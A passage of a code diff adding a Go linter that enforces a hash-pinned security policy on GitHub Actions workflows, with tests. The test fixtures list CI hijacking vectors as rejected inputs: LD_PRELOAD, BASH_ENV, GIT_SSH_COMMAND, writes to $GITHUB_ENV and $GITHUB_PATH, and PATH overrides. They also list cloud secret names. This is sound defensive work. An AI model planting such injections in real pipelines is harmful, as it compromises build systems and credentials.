executableReferenced := make(map[string]bool) + for _, entry := range executableList { + rawPath := strings.TrimSpace(entry.Path) + slashPath := strings.ReplaceAll(rawPath, "\\", "/") + if filepath.IsAbs(rawPath) || path.IsAbs(slashPath) || filepath.VolumeName(rawPath) != "" || slashPath == ".." || strings.HasPrefix(path.Clean(slashPath), "../") { + findings.add("executable allowlist path %s escapes the repository", rawPath) + continue + } + entry.Path = path.Clean(slashPath) + entry.WorkflowPath = path.Clean(strings.ReplaceAll(strings.TrimSpace(entry.WorkflowPath), "\\", "/")) + if strings.TrimSpace(entry.Rationale) == "" || !validSHA256Hex(entry.SHA256) || + !validSHA256Hex(entry.ContextSHA256) || (entry.State != "active" && entry.State != "staged") { + findings.add("invalid executable allowlist entry %s", entry.Path) + continue + } + if !declaredGroups[entry.WorkflowPath+"\x00"+entry.ContextSHA256+"\x00"+entry.State] { + findings.add("executable entry has no matching present trust group for %s", entry.WorkflowPath) + } + key := entry.WorkflowPath + "\x00" + entry.Path + "\x00" + entry.ContextSHA256 + if seenExecutables[key] { + findings.add("duplicate executable allowlist entry %s", entry.Path) + continue + } + seenExecutables[key] = true + if !selectedGroups[entry.WorkflowPath+"\x00"+entry.ContextSHA256] { + continue + } + executableRoot := scanRoot + resolvedExecutableRoot := resolvedScanRoot + if trustedPolicyExecutable(entry) { + executableRoot = repoRoot + resolvedExecutableRoot = resolvedRepoRoot + } + abs := filepath.Join(executableRoot, filepath.FromSlash(entry.Path)) + rel, pathErr := normalizePath(executableRoot, resolvedExecutableRoot, abs) + if pathErr != nil { + findings.add("executable allowlist %v", pathErr) + continue + } + data, readErr := os.ReadFile(abs) + if readErr != nil { + findings.add("read executable %s: %v", rel, readErr) + continue + } + actual := fmt.Sprintf("%x", sha256.Sum256(data)) + if actual != entry.SHA256 { + findings.add("executable hash mismatch for %s", entry.Path) + } + executables[entry.WorkflowPath+"\x00"+entry.Path] = entry + } + commands := make(map[string]commandEntry) + seenCommands := make(map[string]bool) + commandReferenced := make(map[string]bool) + for _, entry := range commandList { + rawPath := strings.TrimSpace(entry.Path) + slashPath := strings.ReplaceAll(rawPath, "\\", "/") + if filepath.IsAbs(rawPath) || path.IsAbs(slashPath) || filepath.VolumeName(rawPath) != "" { + findings.add("command allowlist path %s must be repository-relative", rawPath) + continue + } + entry.Path = path.Clean(slashPath) + if entry.Path == ".." || strings.HasPrefix(entry.Path, "../") { + findings.add("command allowlist path %s escapes the repository", rawPath) + continue + } + entry.Command = strings.ToLower(strings.TrimSpace(entry.Command)) + if entry.Path == "." || !strings.HasPrefix(entry.Path, ".github/workflows/") || + (entry.State != "active" && entry.State != "staged") || + entry.Command == "" || entry.Command != path.Base(entry.Command) || + !validSHA256Hex(entry.StatementSHA256) || + !validSHA256Hex(entry.ContextSHA256) || + strings.TrimSpace(entry.Rationale) == "" { + findings.add("invalid command allowlist entry for %s: exact workflow path, command, statementSHA256, contextSHA256, and rationale are required", entry.Path) + continue + } + if !declaredGroups[entry.Path+"\x00"+entry.ContextSHA256+"\x00"+entry.State] { + findings.add("command entry has no matching present trust group for %s", entry.Path) + } + if categoricallyUnallowlistableCommandName(entry.Command) { + findings.add("provider-capable command %s is categorically unallowlistable in %s", entry.Command, entry.Path) + continue + } + key := commandKey(entry.Path, entry.Command, entry.StatementSHA256, entry.ContextSHA256) + if seenCommands[key] { + findings.add("duplicate command allowlist entry %s sha256:%s in %s", entry.Command, entry.StatementSHA256, entry.Path) + continue + } + seenCommands[key] = true + if selectedGroups[entry.Path+"\x00"+entry.ContextSHA256] { + commands[key] = entry + } + } + actions := make(map[string]actionEntry) + seenActions := make(map[string]bool) + actionReferenced := make(map[string]bool) + for _, entry := range actionList { + rawPath := strings.TrimSpace(entry.Path) + slashPath := strings.ReplaceAll(rawPath, "\\", "/") + if filepath.IsAbs(rawPath) || path.IsAbs(slashPath) || filepath.VolumeName(rawPath) != "" { + findings.add("action allowlist path %s must be repository-relative", rawPath) + continue + } + entry.Path = path.Clean(slashPath) + if entry.Path == ".." || strings.HasPrefix(entry.Path, "../") { + findings.add("action allowlist path %s escapes the repository", rawPath) + continue + } + entry.Uses = strings.TrimSpace(entry.Uses) + validReference := immutableActionReference(entry.Uses) + if entry.Path == "." || !strings.HasPrefix(entry.Path, ".github/workflows/") || + (entry.State != "active" && entry.State != "staged") || + !validReference || strings.Contains(entry.Uses, "${{") || + !validSHA256Hex(entry.NodeSHA256) || + !validSHA256Hex(entry.ContextSHA256) || strings.TrimSpace(entry.Rationale) == "" { + findings.add("invalid action allowlist entry for %s: exact workflow path, immutable uses reference, nodeSHA256, contextSHA256, and rationale are required", entry.Path) + continue + } + if !declaredGroups[entry.Path+"\x00"+entry.ContextSHA256+"\x00"+entry.State] { + findings.add("action entry has no matching present trust group for %s", entry.Path) + } + if providerMarker(entry.Uses) || strings.Contains(strings.ToLower(entry.Uses), "digitalocean/") { + findings.add("provider action %s is categorically unallowlistable in %s", entry.Uses, entry.Path) + continue + } + key := actionKey(entry.Path, entry.Uses, entry.NodeSHA256, entry.ContextSHA256) + if seenActions[key] { + findings.add("duplicate action allowlist entry %s in %s", entry.Uses, entry.Path) + continue + } + seenActions[key] = true + if selectedGroups[entry.Path+"\x00"+entry.ContextSHA256] { + actions[key] = entry + } + } + allowed := make(map[string]allowEntry) + seenAllowed := make(map[string]bool) + for _, entry := range allowlist { + rawPath := strings.TrimSpace(entry.Path) + slashPath := strings.ReplaceAll(rawPath, "\\", "/") + if filepath.IsAbs(rawPath) || path.IsAbs(slashPath) || filepath.VolumeName(rawPath) != "" { + findings.add("allowlist path %s must be repository-relative", rawPath) + continue + } + entry.Path = path.Clean(slashPath) + if entry.Path == ".." || strings.HasPrefix(entry.Path, "../") { + findings.add("allowlist path %s escapes the repository", rawPath) + continue + } + entry.Secret = strings.ToUpper(strings.TrimSpace(entry.Secret)) + key := entry.Path + "\x00" + entry.Secret + seenKey := key + "\x00" + entry.ContextSHA256 + if entry.Path == "." || strings.TrimSpace(entry.Secret) == "" || + !validSHA256Hex(entry.ContextSHA256) || + (entry.State != "active" && entry.State != "staged") || strings.TrimSpace(entry.Rationale) == "" { + findings.add("invalid allowlist entry for %s: exact path, secret, and rationale are required", entry.Path) + } + if !declaredGroups[entry.Path+"\x00"+entry.ContextSHA256+"\x00"+entry.State] { + findings.add("secret entry has no matching present trust group for %s", entry.Path) + } + if seenAllowed[seenKey] { + findings.add("duplicate allowlist entry %s in %s", entry.Secret, entry.Path) + } + seenAllowed[seenKey] = true + if knownCloudSecret(entry.Secret) { + findings.add("known cloud secret %s is categorically unallowlistable in %s", entry.Secret, entry.Path) + } + if selectedGroups[entry.Path+"\x00"+entry.ContextSHA256] { + allowed[key] = entry + } + } + + referenced := make(map[string]bool) + for _, workflowPath := range workflowArgs { + rel, err := normalizePath(scanRoot, resolvedScanRoot, workflowPath) + if err != nil { + findings.add("%v", err) + continue + } + abs, err := absolutePathFromRoot(scanRoot, workflowPath) + if err != nil { + findings.add("resolve workflow path %s: %v", workflowPath, err) + continue + } + data, err := os.ReadFile(abs) + if err != nil { + findings.add("read workflow %s: %v", rel, err) + continue + } + var doc yaml.Node + if err := yaml.Unmarshal(data, &doc); err != nil { + findings.add("parse workflow %s: %v", rel, err) + continue + } + structuralFindings := len(findings.items) + validateYAMLStructure("workflow "+rel, &doc, findings) + if len(findings.items) != structuralFindings { + continue + } + if len(doc.Content) == 0 || doc.Content[0].Kind != yaml.MappingNode { + findings.add("workflow %s must contain a YAML mapping", rel) + continue + } + root := doc.Content[0] + checkWorkingDirectory("workflow "+rel, root, findings) + workflowPermissions := mappingValue(root, "permissions") + if workflowPermissions != nil { + checkPermissions("workflow "+rel, workflowPermissions, true, findings) + } + workflowShell := defaultsRunShell(root) + checkShell("workflow "+rel, workflowShell, findings) + envValues("workflow "+rel, mappingValue(root, "env"), false, findings) + credentialVariables := make(map[string]bool) + knownCredentialVariables(root, credentialVariables) + for name := range credentialVariables { + findings.add("workflow %s declares known cloud credential variable %s", rel, name) + } + globalSecrets := make(map[string]bool) + for i := 0; i+1 < len(root.Content); i += 2 { + if root.Content[i].Value == "jobs" { + continue + } + validateCredentialSelectors("workflow "+rel, root.Content[i+1], findings) + for secret := range secretReferences(root.Content[i+1]) { + globalSecrets[secret] = true + } + } + validateSecretReferences(rel, "workflow "+rel, globalSecrets, referenced, findings) + manual := triggerPresent(root, "workflow_dispatch") + scheduled := triggerPresent(root, "schedule") + jobs := mappingValue(root, "jobs") + if jobs == nil || jobs.Kind != yaml.MappingNode { + findings.add("workflow %s must declare jobs", rel) + continue + } + for i := 0; i+1 < len(jobs.Content); i += 2 { + jobName := jobs.Content[i].Value + job := jobs.Content[i+1] + prefix := rel + " job " + jobName + + checkWorkingDirectory(prefix, job, findings) + checkJobRuntime(prefix, job, findings) + checkJobRunnerSelector(prefix, job, findings) + + jobPermissions := mappingValue(job, "permissions") + if jobPermissions != nil { + checkPermissions(prefix, jobPermissions, false, findings) + } else if workflowPermissions == nil { + checkPermissions(prefix, nil, false, findings) + } + jobShell := defaultsRunShell(job) + checkShell(prefix, jobShell, findings) + if jobShell == nil { + jobShell = workflowShell + } + envValues(prefix, mappingValue(job, "env"), false, findings) + + jobSecrets := make(map[string]bool) + for secret := range globalSecrets { + jobSecrets[secret] = true + } + localSecrets := secretReferences(job) + validateInheritedSecrets(prefix, mappingValue(job, "secrets"), findings) + validateCredentialSelectors(prefix, job, findings) + validateSecretReferences(rel, prefix, localSecrets, referenced, findings) + for secret := range localSecrets { + jobSecrets[secret] = true + } + + providerAuthority := false + hasIntegrationTag := false + hasProviderSDK := false + namedLive := false + if uses := mappingValue(job, "uses"); uses != nil && uses.Kind == yaml.ScalarNode { + nodeSHA256 := actionNodeDigest(job) + contextSHA256 := authorizationContextDigest(root, job, nil) + if strings.Contains(uses.Value, "${{") { + providerAuthority = true + findings.add("%s uses forbidden dynamic reusable workflow %s", prefix, uses.Value) + } else if key, ok := matchAction(rel, uses.Value, nodeSHA256, contextSHA256, actions); !ok { + providerAuthority = true + findings.add("%s uses unreviewed exact reusable workflow %s (node sha256:%s context:%s)", prefix, uses.Value, nodeSHA256, contextSHA256) + } else { + actionReferenced[key] = true + } + } + steps := mappingValue(job, "steps") + if steps != nil && steps.Kind == yaml.SequenceNode { + for _, step := range steps.Content { + checkWorkingDirectory(prefix, step, findings) + if uses := mappingValue(step, "uses"); uses != nil && uses.Kind == yaml.ScalarNode { + nodeSHA256 := actionNodeDigest(step) + contextSHA256 := authorizationContextDigest(root, job, step) + if strings.Contains(uses.Value, "${{") { + providerAuthority = true + findings.add("%s uses forbidden dynamic action %s", prefix, uses.Value) + } else if key, ok := matchAction(rel, uses.Value, nodeSHA256, contextSHA256, actions); !ok { + providerAuthority = true + findings.add("%s uses unreviewed exact action %s (node sha256:%s context:%s)", prefix, uses.Value, nodeSHA256, contextSHA256) + } else { + actionReferenced[key] = true + } + } + denyPatterns := envValues(prefix, mappingValue(step, "env"), true, findings) + run := mappingValue(step, "run") + if run == nil || run.Kind != yaml.ScalarNode { + if len(denyPatterns) > 0 { + findings.add("%s uses provider deny pattern outside a pure rejection guard", prefix) + } + continue + } + shell := mappingValue(step, "shell") + if shell == nil { + shell = jobShell + } + if shell == nil { + findings.add("%s does not declare an explicit Bash shell", prefix) + } else { + checkShell(prefix, shell, findings) + } + normalized, err := normalizeGithubExpressions(run.Value) + if err != nil { + findings.add("%s shell parse failed: %v", prefix, err) + continue + } + file, err := syntax.NewParser(syntax.Variant(syntax.LangBash)).Parse(strings.NewReader(normalized), rel+":"+jobName) + if err != nil { + findings.add("%s shell parse failed: %v", prefix, err) + continue + } + pureGuard := pureRejectionGuard(file, denyPatterns) + if len(denyPatterns) > 0 && !pureGuard { + findings.add("%s uses provider deny pattern outside a pure rejection guard", prefix) + } + contextSHA256 := authorizationContextDigest(root, job, step) + analysis := inspectShell(prefix, rel, contextSHA256, normalized, file, pureGuard, scanRoot, executables, executableReferenced, commands, commandReferenced, findings) + providerAuthority = providerAuthority || analysis.providerAuthority + hasIntegrationTag = hasIntegrationTag || analysis.hasIntegrationTag + hasProviderSDK = hasProviderSDK || analysis.hasProviderSDK + namedLive = namedLive || analysis.namedLive + } + } + for secret := range jobSecrets { + if knownCloudSecret(secret) { + providerAuthority = true + } + } + if providerAuthority { + for secret := range jobSecrets { + findings.add("%s combines provider authority with secret %s", prefix, secret) + } + if hasIntegrationTag { + findings.add("%s combines integration tag with provider authority", prefix) + } + if manual { + findings.add("%s is a forbidden manual provider-authority job", prefix) + } + if scheduled { + findings.add("%s is a forbidden scheduled provider-authority job", prefix) + } + } + if hasProviderSDK && (providerAuthority || namedLive) { + findings.add("%s combines provider SDK marker with provider authority", prefix) + } + } + } + + for key, entry := range allowed { + if !referenced[key] { + findings.add("stale allowlist entry %s in %s", entry.Secret, entry.Path) + } + } + for key, entry := range executables { + if !executableReferenced[key] { + findings.add("stale executable allowlist entry %s in %s", entry.Path, entry.WorkflowPath) + } + } + for key, entry := range commands { + if !commandReferenced[key] { + findings.add("stale command allowlist entry %s sha256:%s in %s", entry.Command, entry.StatementSHA256, entry.Path) + } + } + for key, entry := range actions { + if !actionReferenced[key] { + findings.add("stale action allowlist entry %s in %s", entry.Uses, entry.Path) + } + } + + if len(findings.items) > 0 { + sort.Strings(findings.items) + for _, finding := range findings.items { + fmt.Fprintln(os.Stderr, "policy:", finding) + } + os.Exit(1) + } + fmt.Printf("public workflow policy passed for %d workflow(s)\n", len(workflowArgs)) +} diff --git a/.github/workflows/policytool/main_test.go b/.github/workflows/policytool/main_test.go new file mode 100644 index 000000000..456b467d0 --- /dev/null +++ b/.github/workflows/policytool/main_test.go @@ -0,0 +1,1449 @@ +package main + +import ( + "encoding/json" + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "strconv" + "strings" + "testing" + + "gopkg.in/yaml.v3" + "mvdan.cc/sh/v3/syntax" +) + +func TestSHA256HexPatternIsCompiledOnce(t *testing.T) { + file, err := parser.ParseFile(token.NewFileSet(), "main.go", nil, 0) + if err != nil { + t.Fatalf("parse main.go: %v", err) + } + const pattern = `^[a-f0-9]{64}$` + compileCount := 0 + ast.Inspect(file, func(node ast.Node) bool { + call, ok := node.(*ast.CallExpr) + if !ok || len(call.Args) != 1 { + return true + } + selector, ok := call.Fun.(*ast.SelectorExpr) + if !ok || selector.Sel.Name != "MustCompile" { + return true + } + packageName, ok := selector.X.(*ast.Ident) + if !ok || packageName.Name != "regexp" { + return true + } + literal, ok := call.Args[0].(*ast.BasicLit) + if !ok || literal.Kind != token.STRING { + return true + } + value, err := strconv.Unquote(literal.Value) + if err != nil { + t.Fatalf("unquote regexp pattern: %v", err) + } + if value == pattern { + compileCount++ + } + return true + }) + if compileCount != 1 { + t.Fatalf("SHA-256 validation pattern compiled %d times, want exactly once", compileCount) + } +} + +func TestValidSHA256Hex(t *testing.T) { + for _, test := range []struct { + name string + value string + want bool + }{ + {"lowercase hex", strings.Repeat("0123456789abcdef", 4), true}, + {"uppercase", strings.Repeat("A", 64), false}, + {"short", strings.Repeat("a", 63), false}, + {"nonhex", strings.Repeat("a", 63) + "g", false}, + {"long", strings.Repeat("a", 65), false}, + } { + t.Run(test.name, func(t *testing.T) { + if got := validSHA256Hex(test.value); got != test.want { + t.Fatalf("validSHA256Hex(%q) = %v, want %v", test.value, got, test.want) + } + }) + } +} + +func parseShell(t *testing.T, source string) *syntax.File { + t.Helper() + file, err := syntax.NewParser(syntax.Variant(syntax.LangBash)).Parse(strings.NewReader(source), "test") + if err != nil { + t.Fatalf("parse shell: %v", err) + } + return file +} + +func firstCall(t *testing.T, file *syntax.File) *syntax.CallExpr { + t.Helper() + var call *syntax.CallExpr + syntax.Walk(file, func(node syntax.Node) bool { + if call != nil { + return false + } + if candidate, ok := node.(*syntax.CallExpr); ok { + call = candidate + return false + } + return true + }) + if call == nil { + t.Fatal("shell source did not contain a call") + } + return call +} + +func TestResolvedProgramUnwrapsReviewedWrappers(t *testing.T) { + file := parseShell(t, `MODE=ci command exec env AUTH=x ./scripts/live.sh`) + program, _, resolved := resolvedProgram(firstCall(t, file)) + if !resolved { + t.Fatal("expected wrapped program to resolve") + } + value, literal := literalWord(program) + if !literal || value != "./scripts/live.sh" { + t.Fatalf("resolved program = %q, literal=%v", value, literal) + } +} + +func TestResolvedProgramRejectsDynamicCommand(t *testing.T) { + file := parseShell(t, `sudo "$TOOL"`) + _, _, resolved := resolvedProgram(firstCall(t, file)) + if resolved { + t.Fatal("dynamic wrapped command resolved as a literal program") + } +} + +func TestPureRejectionGuardConfinesDenyPattern(t *testing.T) { + patterns := map[string]string{"PROVIDER_DENY_PATTERN": "doctl|api.digitalocean.com"} + safe := parseShell(t, `if rg "$PROVIDER_DENY_PATTERN" .github/workflows/; then echo blocked; exit 1; fi`) + if !pureRejectionGuard(safe, patterns) { + t.Fatal("expected parser-proven rejection guard") + } + unsafe := parseShell(t, `if rg "$PROVIDER_DENY_PATTERN" .github/workflows/; then exit 1; fi; "$PROVIDER_DENY_PATTERN"`) + if pureRejectionGuard(unsafe, patterns) { + t.Fatal("deny pattern escaped rejection guard") + } +} + +func TestDefaultsRunShell(t *testing.T) { + var doc yaml.Node + if err := yaml.Unmarshal([]byte("defaults:\n run:\n shell: bash\n"), &doc); err != nil { + t.Fatalf("parse workflow defaults: %v", err) + } + shell := defaultsRunShell(doc.Content[0]) + if shell == nil || shell.Value != "bash" { + t.Fatalf("defaults shell = %#v", shell) + } +} + +func TestWorkflowPermissionsRejectWriteAuthority(t *testing.T) { + var doc yaml.Node + if err := yaml.Unmarshal([]byte("permissions:\n contents: read\n packages: write\n"), &doc); err != nil { + t.Fatalf("parse workflow permissions: %v", err) + } + findings := &findingSet{} + checkPermissions("workflow test.yml", mappingValue(doc.Content[0], "permissions"), true, findings) + if !strings.Contains(strings.Join(findings.items, "\n"), "workflow test.yml grants write permission packages outside a job") { + t.Fatalf("workflow-level write permission was accepted: %v", findings.items) + } +} + +func TestMissingEffectivePermissionsAreRejected(t *testing.T) { + findings := &findingSet{} + checkPermissions("fixture job implicit", nil, false, findings) + if !strings.Contains(strings.Join(findings.items, "\n"), "does not declare permissions and workflow has no explicit permissions to inherit") { + t.Fatalf("implicit repository-default permissions were accepted: %v", findings.items) + } +} + +func TestExplicitJobPermissionsWithoutWorkflowPermissionsPass(t *testing.T) { + var doc yaml.Node + if err := yaml.Unmarshal([]byte("permissions:\n contents: read\n pull-requests: write\n"), &doc); err != nil { + t.Fatalf("parse job permissions: %v", err) + } + findings := &findingSet{} + checkPermissions("fixture job explicit", mappingValue(doc.Content[0], "permissions"), false, findings) + if len(findings.items) != 0 { + t.Fatalf("explicit job permissions without workflow permissions were rejected: %v", findings.items) + } +} + +func TestExpressionIdentifiersIgnoresStringData(t *testing.T) { + masked := expressionIdentifiers(`format('No secrets are used', secrets.RELEASES_TOKEN)`) + if strings.Contains(masked, "No secrets are used") { + t.Fatalf("expression string data was not masked: %q", masked) + } + if !strings.Contains(masked, "secrets.RELEASES_TOKEN") { + t.Fatalf("secret identifier was masked: %q", masked) + } +} + +func TestStatementDigestCoversCompleteCall(t *testing.T) { + original := parseShell(t, `GOWORK=off env MODE=ci go test -race ./...`) + originalDigest, err := statementDigest(original.Stmts[0]) + if err != nil { + t.Fatal(err) + } + for _, mutation := range []string{ + `GOWORK=off env MODE=ci go test -race ./... ./extra/...`, + `GOWORK=off env MODE=ci go test ./...`, + `GOWORK=off env MODE=prod go test -race ./...`, + `env MODE=ci go test -race ./...`, + } { + file := parseShell(t, mutation) + digest, err := statementDigest(file.Stmts[0]) + if err != nil { + t.Fatal(err) + } + if digest == originalDigest { + t.Errorf("mutation retained invocation digest: %s", mutation) + } + } +} + +func TestGithubExpressionSourceChangesInvocationDigest(t *testing.T) { + left, err := normalizeGithubExpressions(`gh release edit ${{ github.ref_name }} --draft=false`) + if err != nil { + t.Fatal(err) + } + right, err := normalizeGithubExpressions(`gh release edit ${{ vars.RELEASE_TAG }} --draft=false`) + if err != nil { + t.Fatal(err) + } + leftFile := parseShell(t, left) + leftDigest, err := statementDigest(leftFile.Stmts[0]) + if err != nil { + t.Fatal(err) + } + rightFile := parseShell(t, right) + rightDigest, err := statementDigest(rightFile.Stmts[0]) + if err != nil { + t.Fatal(err) + } + if leftDigest == rightDigest { + t.Fatal("different GitHub expressions produced the same invocation digest") + } +} + +func TestActionAllowlistIsExactByWorkflowAndReference(t *testing.T) { + entry := actionEntry{ + Path: ".github/workflows/ci.yml", + Uses: "actions/checkout@ffffffffffffffffffffffffffffffffffffffff", + NodeSHA256: strings.Repeat("a", 64), + ContextSHA256: strings.Repeat("b", 64), + Rationale: "Checkout this repository at the reviewed action commit.", + } + allowed := map[string]actionEntry{actionKey(entry.Path, entry.Uses, entry.NodeSHA256, entry.ContextSHA256): entry} + if _, ok := matchAction(entry.Path, entry.Uses, entry.NodeSHA256, entry.ContextSHA256, allowed); !ok { + t.Fatal("exact reviewed action did not match") + } + for _, changed := range []string{ + "actions/checkout@main", + "actions/checkout@v5", + "actions/checkout@0123456789012345678901234567890123456789", + "${{ vars.ACTION_REF }}", + } { + if _, ok := matchAction(entry.Path, changed, entry.NodeSHA256, entry.ContextSHA256, allowed); ok { + t.Errorf("changed action %q matched", changed) + } + } + if _, ok := matchAction(".github/workflows/release.yml", entry.Uses, entry.NodeSHA256, entry.ContextSHA256, allowed); ok { + t.Fatal("action allowlist leaked across workflow paths") + } +} + +func TestImmutableActionReferenceAcceptsOnlyCommitOrImageDigest(t *testing.T) { + for _, reference := range []string{ + "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba", + } { + if !immutableActionReference(reference) { + t.Errorf("immutable action reference rejected: %s", reference) + } + } + for _, reference := range []string{ + "actions/checkout@v6", + "docker://ghcr.io/google/osv-scanner-action:v2.3.8", + "docker://ghcr.io/google/osv-scanner-action@sha256:short", + } { + if immutableActionReference(reference) { + t.Errorf("mutable action reference accepted: %s", reference) + } + } +} + +func TestResolvedProgramUnwrapsAllowedWrappersButRejectsSudo(t *testing.T) { + for _, source := range []string{ + `command go test ./...`, + `exec go test ./...`, + `env GOWORK=off go test ./...`, + } { + file := parseShell(t, source) + program, args, resolved := resolvedProgram(firstCall(t, file)) + value, literal := literalWord(program) + if !resolved || !literal || value != "go" || len(args) < 1 { + t.Fatalf("%q resolved to %q, args=%d, resolved=%v", source, value, len(args), resolved) + } + } + file := parseShell(t, `sudo go test ./...`) + if _, _, resolved := resolvedProgram(firstCall(t, file)); resolved { + t.Fatal("sudo unexpectedly resolved as a reviewed wrapper") + } +} + +func TestKnownCloudSecretRejectsSpacesCredentials(t *testing.T) { + for _, name := range []string{ + "SPACES_ACCESS_KEY_ID", + "SPACES_SECRET_ACCESS_KEY", + "DIGITALOCEAN_SPACES_ACCESS_KEY_ID", + "DIGITALOCEAN_SPACES_SECRET_ACCESS_KEY", + "DO_SPACES_ACCESS_KEY_ID", + "DO_SPACES_SECRET_ACCESS_KEY", + } { + if !knownCloudSecret(name) { + t.Errorf("%s was not categorized as a cloud secret", name) + } + } +} + +func TestDecodeJSONRequiresExactlyOneValue(t *testing.T) { + tmp := t.TempDir() + valid := filepath.Join(tmp, "valid.json") + if err := os.WriteFile(valid, []byte(`[]`), 0o600); err != nil { + t.Fatal(err) + } + var target []allowEntry + if err := decodeJSONFile(valid, &target); err != nil { + t.Fatalf("valid JSON failed: %v", err) + } + for name, content := range map[string]string{ + "trailing-object": `[] {}`, + "trailing-garbage": `[] garbage`, + "null-array": `null`, + } { + path := filepath.Join(tmp, name+".json") + if err := os.WriteFile(path, []byte(content), 0o600); err != nil { + t.Fatal(err) + } + if err := decodeJSONFile(path, &target); err == nil { + t.Errorf("%s was accepted", name) + } + } +} + +func TestYAMLStructureRejectsAliasesAndDuplicateKeys(t *testing.T) { + for name, source := range map[string]string{ + "alias": "run: &shared echo safe\nother: *shared\n", + "duplicate": "run: echo first\nrun: echo second\n", + "nested": "job:\n env: &env\n VALUE: safe\n other: *env\n", + } { + var doc yaml.Node + if err := yaml.Unmarshal([]byte(source), &doc); err != nil { + t.Fatalf("%s parse: %v", name, err) + } + findings := &findingSet{} + validateYAMLStructure("fixture", &doc, findings) + if len(findings.items) == 0 { + t.Errorf("%s structure was accepted", name) + } + } +} + +func TestActionNodeDigestCoversCompleteStep(t *testing.T) { + parseStep := func(source string) *yaml.Node { + t.Helper() + var doc yaml.Node + if err := yaml.Unmarshal([]byte(source), &doc); err != nil { + t.Fatal(err) + } + return doc.Content[0] + } + original := parseStep("name: Upload\nuses: actions/upload-artifact@0123456789012345678901234567890123456789\nwith:\n path: evidence.json\n") + originalDigest := actionNodeDigest(original) + for _, mutation := range []string{ + "name: Upload\nuses: actions/upload-artifact@0123456789012345678901234567890123456789\nwith:\n path: other.json\n", + "name: Changed\nuses: actions/upload-artifact@0123456789012345678901234567890123456789\nwith:\n path: evidence.json\n", + "name: Upload\nif: always()\nuses: actions/upload-artifact@0123456789012345678901234567890123456789\nwith:\n path: evidence.json\n", + } { + if actionNodeDigest(parseStep(mutation)) == originalDigest { + t.Errorf("action step mutation retained digest: %q", mutation) + } + } +} + +func TestStatementDigestCoversRedirectsAndAssignments(t *testing.T) { + original := parseShell(t, `MODE=ci go test ./...`) + originalDigest, err := statementDigest(original.Stmts[0]) + if err != nil { + t.Fatal(err) + } + for _, mutation := range []string{ + `MODE=prod go test ./...`, + `MODE=ci go test ./... > results.txt`, + `MODE=ci go test ./... 2>&1`, + } { + file := parseShell(t, mutation) + digest, err := statementDigest(file.Stmts[0]) + if err != nil { + t.Fatal(err) + } + if digest == originalDigest { + t.Errorf("statement mutation retained digest: %s", mutation) + } + } +} + +func TestDangerousAssignmentsAndEnvironmentRedirects(t *testing.T) { + for _, source := range []string{ + `PATH=/tmp/bin`, + `BASH_ENV=./bootstrap`, + `ENV=./profile`, + `SHELLOPTS=xtrace`, + `LD_PRELOAD=./hook.so command`, + `DYLD_INSERT_LIBRARIES=./hook.dylib command`, + `command exec env PATH=/tmp/bin go test ./...`, + `echo value >> "$GITHUB_ENV"`, + `echo value >> "${GITHUB_ENV:?missing}"`, + `printf '%s\n' value >> "$GITHUB_PATH"`, + } { + file := parseShell(t, source) + findings := &findingSet{} + inspectStatementGuards("fixture", file.Stmts[0], findings) + if len(findings.items) == 0 { + t.Errorf("dangerous statement was accepted: %s", source) + } + } +} + +func TestWorkingDirectoryIsCategoricallyRejected(t *testing.T) { + for name, source := range map[string]string{ + "literal": "working-directory: ./subdir\n", + "dynamic": "working-directory: ${{ vars.WORKDIR }}\n", + "mapping": "working-directory:\n path: ./subdir\n", + } { + var node yaml.Node + if err := yaml.Unmarshal([]byte(source), &node); err != nil { + t.Fatal(err) + } + findings := &findingSet{} + checkWorkingDirectory("fixture "+name, node.Content[0], findings) + if len(findings.items) == 0 { + t.Errorf("%s working-directory was accepted", name) + } + } +} + +func TestExecutionAffectingEnvironmentNames(t *testing.T) { + for _, name := range []string{ + "PATH", "BASH_ENV", "ENV", "SHELLOPTS", "LD_PRELOAD", "DYLD_INSERT_LIBRARIES", + "NODE_OPTIONS", "PYTHONPATH", "PYTHONHOME", "RUBYOPT", "PERL5OPT", "PERL5LIB", + "GIT_CONFIG_GLOBAL", "GIT_CONFIG_COUNT", "GIT_SSH", "GIT_SSH_COMMAND", "HOME", "IFS", "CDPATH", + "CC", "CXX", "AR", "LD", "GOROOT", "GOPATH", "GOENV", "GOFLAGS", "GOTOOLCHAIN", + "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "LIBRARY_PATH", "CPATH", "RUSTC_WRAPPER", "JAVA_TOOL_OPTIONS", + "CFLAGS", "LDFLAGS", "GOEXPERIMENT", "GIT_EXEC_PATH", "CGO_LDFLAGS", "CARGO_HOME", "SHELL", + "BASH_FUNC_attack%%", "bash_func_attack%%", + } { + if !executionAffectingEnv(name) { + t.Errorf("%s was not rejected", name) + } + } + for _, name := range []string{"GOPRIVATE", "GH_TOKEN", "GITHUB_TOKEN", "GOOS", "GOARCH", "RELEASES_TOKEN", "WFCTL_CONFORMANCE_VERSION"} { + if executionAffectingEnv(name) { + t.Errorf("required safe environment %s was rejected", name) + } + } +} + +func TestNodeAuthTokenAllowsOnlyAutomaticGithubToken(t *testing.T) { + for name, test := range map[string]struct { + value string + wantFinding bool + }{ + "automatic token": {"${{ github.token }}", false}, + "legacy secret": {"${{ secrets.GITHUB_TOKEN }}", true}, + "named secret": {"${{ secrets.PACKAGES_TOKEN }}", true}, + "literal": {"token", true}, + "other context": {"${{ vars.NODE_AUTH_TOKEN }}", true}, + "mixed value": {"${{ github.token }}-suffix", true}, + "bracket context": {"${{ github['token'] }}", true}, + "expression": {"${{ github.token || vars.FALLBACK }}", true}, + } { + t.Run(name, func(t *testing.T) { + var document yaml.Node + source := "NODE_AUTH_TOKEN: " + test.value + "\n" + if err := yaml.Unmarshal([]byte(source), &document); err != nil { + t.Fatal(err) + } + findings := &findingSet{} + envValues("fixture", document.Content[0], false, findings) + if got := len(findings.items) > 0; got != test.wantFinding { + t.Fatalf("findings = %v, wantFinding = %v", findings.items, test.wantFinding) + } + }) + } +} + +func TestTrustGroupThreeStateLifecycle(t *testing.T) { + active := strings.Repeat("a", 64) + staged := strings.Repeat("b", 64) + wf := ".github/workflows/wf.yml" + transition := []trustGroup{{Path: wf, ContextSHA256: active, State: "active", Presence: "present"}, {Path: wf, ContextSHA256: staged, State: "staged", Presence: "present"}} + for name, phase := range map[string]struct { + groups []trustGroup + context string + }{ + "phase1": {transition, active}, + "phase2": {transition, staged}, + 